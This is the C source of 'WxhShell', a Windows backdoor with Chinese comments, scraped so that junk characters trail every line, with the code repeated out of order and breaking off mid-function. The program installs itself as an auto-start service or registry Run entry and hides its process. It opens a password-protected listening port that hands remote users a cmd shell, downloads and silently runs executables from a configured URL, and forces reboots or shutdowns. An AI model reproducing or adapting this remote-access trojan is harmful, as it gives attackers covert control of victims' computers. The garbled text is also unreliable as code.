    if(Boot(SHUTDOWN)) 7R7e3p,K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>NK2} `  
    else { ){I!orQ  
    closesocket(wsh); "$#<+H>O  
    ExitThread(0); A4{p(MS5  
    } 91\Sb:>  
    break; oJ.5! Kg  
    } +mRc8G  
  // 获取shell Wl0p-h  
  case 's': { 6Z#$(oC  
    CmdShell(wsh); G0Y]-*1  
    closesocket(wsh); f\vMdY  
    ExitThread(0); b*)F7{/Z  
    break; 3EV?=R  
  } 9<Ks2W.N  
  // 退出 ~J![Nx/  
  case 'x': { qYP;`L}o#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J{U 171  
    CloseIt(wsh); 85:KlBe%+  
    break; +5x{|!Pn  
    } VOSq%hB  
  // 离开 eq(1'?7]`G  
  case 'q': { uGpLh0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8 RA  
    closesocket(wsh); Q2Dh(  
    WSACleanup(); _$KE E|9  
    exit(1); ,4HZ-|EOZ  
    break; puAjAvIax  
        } 1|dXbyUd  
  } N c(f+8  
  } \7PC2IsT3  
-&EU#Wqh  
  // 提示信息 A5E^1j}h@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P%aNbMg  
} `-w,6  
  } WX* uhR  
8o i{%C&-  
  return; VDFs.;:s  
} 1*f*}M  
8?hZ5QvA(j  
// shell模块句柄 _0|@B8!J?  
int CmdShell(SOCKET sock) 4^Og9}bm  
{ Z+Cjg #+  
STARTUPINFO si; ~e _  
ZeroMemory(&si,sizeof(si)); z?n6l7sH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pIHpjx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ` >loleI  
PROCESS_INFORMATION ProcessInfo; cD t|v~  
char cmdline[]="cmd"; 12@Ge]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~gdnD4[G  
  return 0; ?sv[vR(  
} .hRtQU  
9@8'*a{`m  
// 自身启动模式 z |8zNt Ug  
int StartFromService(void) VG_xNM  
{ }5AA}=  
typedef struct []G@l. ]W  
{ L{0\M`B-  
  DWORD ExitStatus; {>Hn:jW<.  
  DWORD PebBaseAddress; mwutv8?  
  DWORD AffinityMask; =I0J1Ob  
  DWORD BasePriority; f#McTC3C  
  ULONG UniqueProcessId; !0_/=mA^  
  ULONG InheritedFromUniqueProcessId; A,EuUp  
}   PROCESS_BASIC_INFORMATION; i9Eh1A3Y  
AC*SmQ\>!  
PROCNTQSIP NtQueryInformationProcess; PqMu2 e  
wf_ $#.;m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;` h$xB(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .%+anVXS  
Dy*K;e-+  
  HANDLE             hProcess; E|A~T7G=  
  PROCESS_BASIC_INFORMATION pbi; z.|[g$F  
OF0v0Y/a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3^iVDbAW{  
  if(NULL == hInst ) return 0; &b'{3o_KN  
ZnBGNr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s"5nfl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p fR~?jYzm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lvrflx*Q  
A ^t _"J  
  if (!NtQueryInformationProcess) return 0; mU]pK5  
RivhEc1h%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?{P$|:ha  
  if(!hProcess) return 0; p=V1M-  
m@']%X*(,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 26p_fKY  
y@SI)&D  
  CloseHandle(hProcess); "xNP"S  
b2H -D!YO^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0p+3 6g  
if(hProcess==NULL) return 0; kjDmwa+91T  
Nza@6nI"  
HMODULE hMod; >2v<;.  
char procName[255]; p +nh]  
unsigned long cbNeeded; 6n|][! f  
_S,UpR~2W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gx*B(t]4y  
3 }3C*w+  
  CloseHandle(hProcess); 8|nc( $}~  
+R7pdi  
if(strstr(procName,"services")) return 1; // 以服务启动 BSL+Gjj~}  
Fkg%_v$  
  return 0; // 注册表启动 ^Rtxef  
} IBUFXzl  
h;@>E:4Tg  
// 主模块 9e4`N"#,lI  
int StartWxhshell(LPSTR lpCmdLine) P$]K  
{ \;iOQqv0&  
  SOCKET wsl; p(cnSvg  
BOOL val=TRUE; E.*gKfL  
  int port=0; ^%m{yf#  
  struct sockaddr_in door; f&txg,W,yv  
96S$Y~G# &  
  if(wscfg.ws_autoins) Install(); %{Obh j;c  
]E)D})r`#  
port=atoi(lpCmdLine); HA0F'k  
7j HrLsB  
if(port<=0) port=wscfg.ws_port; '-mzt~zGOY  
?mF:L"i  
  WSADATA data; S..8,5mBH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  :YPi>L5  
}=JS d@`_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xLms|jS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xpv<v[a  
  door.sin_family = AF_INET; -zWNQp$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $$SJLV  
  door.sin_port = htons(port); C$$Zwgy  
#*%?]B=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7VskZbj\  
closesocket(wsl);  6@"E*-z$  
return 1; =A~5?J=  
} 8kC$Z)  
_~ 'MQ`P  
  if(listen(wsl,2) == INVALID_SOCKET) { H?FiZy*[Y  
closesocket(wsl); s8 u`v1  
return 1; tvBLfqIr  
} v V;]?  
  Wxhshell(wsl); l5]R*mR  
  WSACleanup(); 9g# 62oIg  
b~B'FD  
return 0; (zxL!ZR<  
N<<O(r  
} q(csZ\e=  
v$+A!eo  
// 以NT服务方式启动 J1 w3g,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @BPQ >  
{ O S#RCN*  
DWORD   status = 0;  w%::~]  
  DWORD   specificError = 0xfffffff; Spu;   
ThkCKM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &gW<v\6,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kd_! S[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !T2{xmHKv$  
  serviceStatus.dwWin32ExitCode     = 0; I8 [ *  
  serviceStatus.dwServiceSpecificExitCode = 0; DC8\v+K  
  serviceStatus.dwCheckPoint       = 0; ! &cfX/y8  
  serviceStatus.dwWaitHint       = 0; [k75+#'  
=M9R~J!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qmb+%z  
  if (hServiceStatusHandle==0) return; ;JgSA&'e  
EQk omjv  
status = GetLastError(); xFJT&=Af W  
  if (status!=NO_ERROR) wWSw0 H/  
{ a8v\H8@X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >rSCf=  
    serviceStatus.dwCheckPoint       = 0; kM@e_YtpY  
    serviceStatus.dwWaitHint       = 0; bxO[y<|XL  
    serviceStatus.dwWin32ExitCode     = status; :'xZF2  
    serviceStatus.dwServiceSpecificExitCode = specificError; k<Xb< U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gPA8A>U)[  
    return; \gK'g-)}  
  } J`C 2}$ ~  
6 8fnh'I!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ic3Szd^4  
  serviceStatus.dwCheckPoint       = 0; 2}bXX'Y  
  serviceStatus.dwWaitHint       = 0; y|i(~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r_FI5f  
} P.g./8N`z  
Nq^o8q_  
// 处理NT服务事件,比如:启动、停止  Hyenn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qx9; "Ut  
{ c<~DYe;;  
switch(fdwControl) mkPqxzxbrL  
{ MiKq|  
case SERVICE_CONTROL_STOP: M= |is*t  
  serviceStatus.dwWin32ExitCode = 0; ]Nw ]po+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m5a'Vs  
  serviceStatus.dwCheckPoint   = 0; B*E"yB\NV  
  serviceStatus.dwWaitHint     = 0; I[gPW7&S@  
  { 8r:T&)v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); smn(q)tt  
  } v-^<,|vm2f  
  return; GMkni'pV  
case SERVICE_CONTROL_PAUSE: 8|$g"? CU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9~2iA,xs  
  break; +?*.Emzl@  
case SERVICE_CONTROL_CONTINUE: J5O/c,?g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $P)-o?eer  
  break; pHye8v4fvi  
case SERVICE_CONTROL_INTERROGATE: C-@M|K9A'  
  break; @[`]w`9Q7  
}; XbeT x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k]P'D .  
} #c"05/=A  
pIug$Ke_%  
// 标准应用程序主函数 H;@0L}Nu+}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *a0#PfS[  
{ aIr"!. 4  
Sn 7 h$  
// 获取操作系统版本 1{RA\CF  
OsIsNt=GetOsVer(); %KN2iNq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <g\:By^  
aqImW  
  // 从命令行安装 j9w{=( MV  
  if(strpbrk(lpCmdLine,"iI")) Install(); +W$uHQq  
-UAMHd}4  
  // 下载执行文件 x9 t %  
if(wscfg.ws_downexe) { ~BgYD)ov  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n{qVF#N_  
  WinExec(wscfg.ws_filenam,SW_HIDE); \}<J>R@  
} bE=[P}E  
DY/%|w*L  
if(!OsIsNt) { hOV5WO\  
// 如果时win9x,隐藏进程并且设置为注册表启动 &B1!,joH~  
HideProc(); SOMAs'=  
StartWxhshell(lpCmdLine); h/y0Q~|/d  
} {w,<igh  
else 7|bBC+;(  
  if(StartFromService()) YguW2R=6]  
  // 以服务方式启动 (KfQ'B+  
  StartServiceCtrlDispatcher(DispatchTable); cRCji^,KJ  
else "(~fl<;  
  // 普通方式启动 OwgPgrV  
  StartWxhshell(lpCmdLine); D vN0h(?  
paYS< 8In  
return 0; G9#3 |B-?  
} _5p]Arg?}&  
E@l@f  
2#CN:b]+  
s0h0Ep ED  
=========================================== xc05GJ  
%,@e- &>  
m(5LXH Jnv  
ae2I,Qt%  
e5lJ)_o  
Jvj* z6/a  
" Cv&>:k0V  
T :^OW5d  
#include <stdio.h> :RYYjmG5;  
#include <string.h> /?|;f2tbV2  
#include <windows.h> &N3a`Ua  
#include <winsock2.h> k^B7M}  
#include <winsvc.h> Wcl =YB%  
#include <urlmon.h> Gg:W%&#  
uKJo5%>  
#pragma comment (lib, "Ws2_32.lib") EpCNp FQT<  
#pragma comment (lib, "urlmon.lib") $bBUL C  
CG J_k?h  
#define MAX_USER   100 // 最大客户端连接数 sebuuL.l0<  
#define BUF_SOCK   200 // sock buffer mZ3Z8q}%P  
#define KEY_BUFF   255 // 输入 buffer &Ot9"Aq:  
,?%o ~  
#define REBOOT     0   // 重启 YluvWHWi  
#define SHUTDOWN   1   // 关机 V=PK)FJ  
An,TunX  
#define DEF_PORT   5000 // 监听端口 .Rb1%1bdc  
N>g6KgX{K  
#define REG_LEN     16   // 注册表键长度 bIk4?S  
#define SVC_LEN     80   // NT服务名长度 bHTTxZ-%  
mM+^v[=  
// 从dll定义API .\)ek[?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NID2$p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s(=@J?7As  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AvuGAlP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U D5hk  
|h((SreO  
// wxhshell配置信息 *Ct ^jU7  
struct WSCFG { P`_Q-vu  
  int ws_port;         // 监听端口 a +9_sUq  
  char ws_passstr[REG_LEN]; // 口令 \!0~$?_)P  
  int ws_autoins;       // 安装标记, 1=yes 0=no wLg@BSC.  
  char ws_regname[REG_LEN]; // 注册表键名 Y]B9*^d<  
  char ws_svcname[REG_LEN]; // 服务名 q'Y)Y(d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u=#_8e(9Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cs,t:ajP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,ob)6P^rw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mhs%8OTN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u2U+uD@yA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wNh\pWA  
]*{tno  
};  .g=D70  
=;?Maexp3$  
// default Wxhshell configuration x51xY$M  
struct WSCFG wscfg={DEF_PORT, H4M`^r@)'  
    "xuhuanlingzhe", \#"&S@%c  
    1, q _:7uQ  
    "Wxhshell", /q"8sj/  
    "Wxhshell", 7Fb!;W#X  
            "WxhShell Service", 3Ea/)EB]  
    "Wrsky Windows CmdShell Service", BG]|iHi  
    "Please Input Your Password: ", g\aq#QV  
  1, lXnv(3j3*s  
  "http://www.wrsky.com/wxhshell.exe", V r T0S  
  "Wxhshell.exe" Dk g-y9  
    }; CzmB76zy.  
Z22#lF\N  
// 消息定义模块 K#y CZ2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zWF[cf>'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q~xs4?n1U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^c){N-G  
char *msg_ws_ext="\n\rExit."; 8`WaUB%  
char *msg_ws_end="\n\rQuit."; 1t#|MH ?U_  
char *msg_ws_boot="\n\rReboot..."; C33RXt$X  
char *msg_ws_poff="\n\rShutdown..."; ZM57(D  
char *msg_ws_down="\n\rSave to "; 0!1cHB/c  
5hlS2fn  
char *msg_ws_err="\n\rErr!"; N_VWA.JHt  
char *msg_ws_ok="\n\rOK!"; @4]dv> Z  
#/hXcF  
char ExeFile[MAX_PATH]; cA!o xti  
int nUser = 0;  '^,|8A2  
HANDLE handles[MAX_USER]; uC 2{ Mmy  
int OsIsNt; 0qN+W&H  
o& ?:pE  
SERVICE_STATUS       serviceStatus; l<s6Uu"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <VT|R~  
okbW.  ~  
// 函数声明 ( D@ U%  
int Install(void); Qf}}/k|)k  
int Uninstall(void); TM,Fab &  
int DownloadFile(char *sURL, SOCKET wsh); QnIF{TS=  
int Boot(int flag); e:|Bn>*  
void HideProc(void); ):5H,B+Vr&  
int GetOsVer(void); zf[KZ\6H   
int Wxhshell(SOCKET wsl); n55s7wzM  
void TalkWithClient(void *cs); fZxEE~Q1  
int CmdShell(SOCKET sock); 4ZT0~37(  
int StartFromService(void); *k;%H'2g{}  
int StartWxhshell(LPSTR lpCmdLine); QU)AgF[  
7x(z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Vjrh/@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tpp?(lT7r  
XhJYsq]]J  
// 数据结构和表定义 Pbakw81!~  
SERVICE_TABLE_ENTRY DispatchTable[] = K5\;'.9M  
{ /)XN^Jwa;m  
{wscfg.ws_svcname, NTServiceMain}, n%ZOR1u)k#  
{NULL, NULL} wD $sKd  
}; %9T|"\  
vu_ u\2d  
// 自我安装 IoHYY:[-  
int Install(void)  <+p{U(  
{ a]?o"{{+  
  char svExeFile[MAX_PATH]; 'w`9lIax  
  HKEY key; +^ |=MK%  
  strcpy(svExeFile,ExeFile); Iv>4o~t  
u 9kh@0  
// 如果是win9x系统,修改注册表设为自启动 JS(%:  
if(!OsIsNt) { DG 6W ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HP[M"u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zdN(r<m9"  
  RegCloseKey(key); V7,;N@FL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uk0 0lPG.U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,V ) |A=ml  
  RegCloseKey(key); N7dI}ju  
  return 0; kaNK@a=e|/  
    } rSNaflYAr  
  } C+aL8_(R  
} s.>;(RiJd  
else { =_vW7-H  
M}N[> ,2'  
// 如果是NT以上系统,安装为系统服务 ::p(ViYG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bA(-7l?  
if (schSCManager!=0) @[hD;xO  
{ ~L=? F  
  SC_HANDLE schService = CreateService w72\'  
  ( k\}\>&Zqu  
  schSCManager, n4DKLAl  
  wscfg.ws_svcname, aQL$?,  
  wscfg.ws_svcdisp, ^7V{nT@H3  
  SERVICE_ALL_ACCESS, M1e79p<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZKoISuM  
  SERVICE_AUTO_START, H.!\j&4j  
  SERVICE_ERROR_NORMAL, Bx ru7E"  
  svExeFile, Cg];UB}k  
  NULL, nT/Az g  
  NULL, vptBDfzz  
  NULL, _"S1>s)X?j  
  NULL, fO 6Jug  
  NULL \@GKVssw  
  ); W=!di3IA  
  if (schService!=0) '2xfU  
  { *.A{p ;JC(  
  CloseServiceHandle(schService); 3mLtnRX[m  
  CloseServiceHandle(schSCManager); ]}>uvl^l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )~ghb"K  
  strcat(svExeFile,wscfg.ws_svcname); a>BPK"K2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rFG_CC2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <g{d >j  
  RegCloseKey(key); ;hJz'&UWQ  
  return 0; P] qL&_  
    } nlR7V.  
  } NrWgaPO)i  
  CloseServiceHandle(schSCManager); #;F*rJ[XY  
} )o_Pnq9_  
} 1'BC R  
`z?h=&N  
return 1; 6w4}4i  
} [F}_Ime  
[IPXU9& Q  
// 自我卸载 Ae_:Kc6  
int Uninstall(void) ExZ|_7^<  
{ Xx e07J~  
  HKEY key; 3 cF4xUIZ  
!A&>Eeai  
if(!OsIsNt) { +$\/HO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m"RSDM!  
  RegDeleteValue(key,wscfg.ws_regname); !6l}s$1i|  
  RegCloseKey(key); rtZEK:.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ja+PVf  
  RegDeleteValue(key,wscfg.ws_regname); ]r(s02  
  RegCloseKey(key); aW;DfH  
  return 0; L_Lhmtm}m  
  } @agxu-Y  
} KU*XRZu)  
} 9; `E,w  
else { <@J0 770  
ECr}7R%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xpB* > zb  
if (schSCManager!=0) Wr;9Mz&{  
{ V~"-\@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }^zsN`  
  if (schService!=0) U\x $@J  
  { 6QG"~>v7'(  
  if(DeleteService(schService)!=0) { 4-JyK%m,0  
  CloseServiceHandle(schService); W9/HM!  
  CloseServiceHandle(schSCManager); S$ Z?T  
  return 0; }ISc^W) t  
  } =.ReM_.  
  CloseServiceHandle(schService); Ktn:6=,  
  } #-8%g{  
  CloseServiceHandle(schSCManager); pra0:oHN  
} "-:-!1;Ji  
} i.0.oy>  
}5]7lGR  
return 1; '))K' u  
} /#g P#Z%  
B*AB@  
// 从指定url下载文件 o3(:R0  
int DownloadFile(char *sURL, SOCKET wsh) Vi'zSR28Z  
{ Tga%-xr+  
  HRESULT hr; %ZM"c  
char seps[]= "/"; 1}ws@hU  
char *token; nUf0TkA  
char *file; >Q[3t79^  
char myURL[MAX_PATH]; ^:Fj+d  
char myFILE[MAX_PATH]; F-%Hw  
f:KZP;/[c  
strcpy(myURL,sURL); \t?rHB3"  
  token=strtok(myURL,seps); QyD(@MFxb  
  while(token!=NULL) *1g3,NMA  
  { xzz0uk5  
    file=token; tx,q=.(  
  token=strtok(NULL,seps); @!p0<&R@x  
  } l-?#oy  
Mew,g:m:  
GetCurrentDirectory(MAX_PATH,myFILE); %Z+FX,AK  
strcat(myFILE, "\\"); 3#N`n |UgC  
strcat(myFILE, file); ob]j1gYb  
  send(wsh,myFILE,strlen(myFILE),0); UM:]Qba In  
send(wsh,"...",3,0); tX~ *.W:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *NCkC ~4  
  if(hr==S_OK) R^&.:;Wi>  
return 0; 2"IDz01ne  
else Hd57Iw  
return 1; L'u*WHj|v  
<HH\VG\H6  
} dheobD  
/Csk"IfuO  
// 系统电源模块 S9%ZeM +  
int Boot(int flag) @K1'Q!S *  
{ /B)`pF.n  
  HANDLE hToken; YT}ZLx  
  TOKEN_PRIVILEGES tkp; ToM1#]4  
V@r V +s  
  if(OsIsNt) { BKKW3PT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <kKuis6h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pMd!Jl#(N  
    tkp.PrivilegeCount = 1; X"g`hT"i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )>,ndKT~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?10L *PD@  
if(flag==REBOOT) { -8:/My  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q!70D)O$  
  return 0; $;Z0CG  
} .~X&BY>qP  
else { $g_|U:,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .S*VYt%K7  
  return 0; <FfmDR  
} 0( q:K6zI}  
  } )3.=)?XW  
  else { [xo-ZDIoG  
if(flag==REBOOT) { {Kz!)uaC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tly*i"[&  
  return 0; SvQ!n4 $  
} *yYeqm  
else { 8(g}/%1mt3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V-dyeb  
  return 0; _6-N+FI  
} HT7I~]W  
} -f["1-A  
 lofP$  
return 1; S/dj])g  
} z&yVU<;  
Mh]4K" cs  
// win9x进程隐藏模块 j937tn!Q  
void HideProc(void) .f&Z+MQ  
{ 31cZ6[  
2=7:6Fw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )=AWgA  
  if ( hKernel != NULL ) :+f6:3  
  { yVWt%o/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cCs@[D#O1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )M* Sg?L  
    FreeLibrary(hKernel); %xA-j]%?ep  
  } (dwb{+HW  
RQU-]qQ8BM  
return; !uP8powO  
} pZKK7   
Oj '^Ww m  
// 获取操作系统版本 $B`ETI9g-N  
int GetOsVer(void) b9VI(s>  
{ ;?C`Jag x  
  OSVERSIONINFO winfo; |lN=q44I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L@.Trso  
  GetVersionEx(&winfo); e5(c,,/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .|0$?w  
  return 1; lib}dk  
  else p-*{x  
  return 0; cZ3A~dTOR  
} A3|2;4t  
mbHMy[R  
// 客户端句柄模块 NfZC}  
int Wxhshell(SOCKET wsl) +xQj-r)-  
{ R)-~5"}~  
  SOCKET wsh; >0?ph<h1[q  
  struct sockaddr_in client; 4lI&y<F  
  DWORD myID; eoJ*?v  
[8>#b_>  
  while(nUser<MAX_USER) J;ycAF~  
{ r`i.h ^2De  
  int nSize=sizeof(client); 8X/SNRk6p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vAjog])9s  
  if(wsh==INVALID_SOCKET) return 1; h+w1 D}*  
mR~S$6cc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JFq<sY!  
if(handles[nUser]==0) >7z(?nQYT^  
  closesocket(wsh); n[\L6}  
else 9'p*7o  
  nUser++; %~P3t=r  
  } \d3~kq3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )5fly%-r)  
3xgU=@!;  
  return 0; WR_B:%W.  
} 4#W*f3d[@:  
L s+zJ1  
// 关闭 socket loUZD=Ph  
void CloseIt(SOCKET wsh) *VaQ\]:d  
{ "]W,,A-  
closesocket(wsh); `Om W#\  
nUser--; u Yc}eMb  
ExitThread(0); _o&NbDH  
} lT~WP)  
k"E|E";B  
// 客户端请求句柄 EyHL&  
void TalkWithClient(void *cs) jI~$iDdOfs  
{ ]2{]TJ @B  
,+X:#$  
  SOCKET wsh=(SOCKET)cs; T8^l}Y B  
  char pwd[SVC_LEN]; ErFt5%FN.O  
  char cmd[KEY_BUFF]; {kvxz  
char chr[1]; l;@bs  
int i,j; kx;7/fH  
Q_dMuoI  
  while (nUser < MAX_USER) { HkY#i;%N  
i-. AD4  
if(wscfg.ws_passstr) { V."cmtf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v=cX.^ L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [fY7|  
  //ZeroMemory(pwd,KEY_BUFF); 5Q:%f  
      i=0; ?)Je%H  
  while(i<SVC_LEN) { 7>F[7_  
.3#Xjhebvu  
  // 设置超时 ) )t]5Ys%;  
  fd_set FdRead; %'VzN3Q5V  
  struct timeval TimeOut; ^1<i7u  
  FD_ZERO(&FdRead); &Lbwx&!0b  
  FD_SET(wsh,&FdRead); ?!.J 0q  
  TimeOut.tv_sec=8; bdEI vf7  
  TimeOut.tv_usec=0; lqa~ZF*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !pHI`FeAV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "sWsK %  
 x$FcF8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G-,0mo  
  pwd=chr[0]; OLV3.~T  
  if(chr[0]==0xd || chr[0]==0xa) { >CwI(vXn  
  pwd=0; F+L%Ho;@P  
  break; . g-  HB'  
  } }}bMq.Q'  
  i++; X$?0C{@.}  
    } d(9-T@J  
i 1Kq (7  
  // 如果是非法用户,关闭 socket oE2VJKs<B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h8-uI.RZ  
} }a#=c*+_  
Sggl*V/q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ?$y/b}8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHa~c(x  
-$49l  
while(1) { +|x%a2?x:  
[+="I &  
  ZeroMemory(cmd,KEY_BUFF); [.w`r>kZI  
5Zmc3&vRl  
      // 自动支持客户端 telnet标准   TI\EkKu"  
  j=0; s#8T46?  
  while(j<KEY_BUFF) { |?hsMN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ $"  
  cmd[j]=chr[0]; #K iqV6E  
  if(chr[0]==0xa || chr[0]==0xd) { K@Xj)  
  cmd[j]=0; lkC|g%f  
  break; |C5{[ z  
  } Z,"YMUl'  
  j++; F? ps? e  
    } j`K0D65  
,?`kYPZ  
  // 下载文件 B?Rkz  
  if(strstr(cmd,"http://")) { :_`Yrx5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n xR\tBv  
  if(DownloadFile(cmd,wsh)) =W>a~e]/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <fA}_BH%]  
  else ltMcEv-d0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = uepg@J  
  } UMT}2d%  
  else { ;jO+<~YP!  
|;^$IZSsz  
    switch(cmd[0]) { lR mVeq:  
  [nlq(DGJhp  
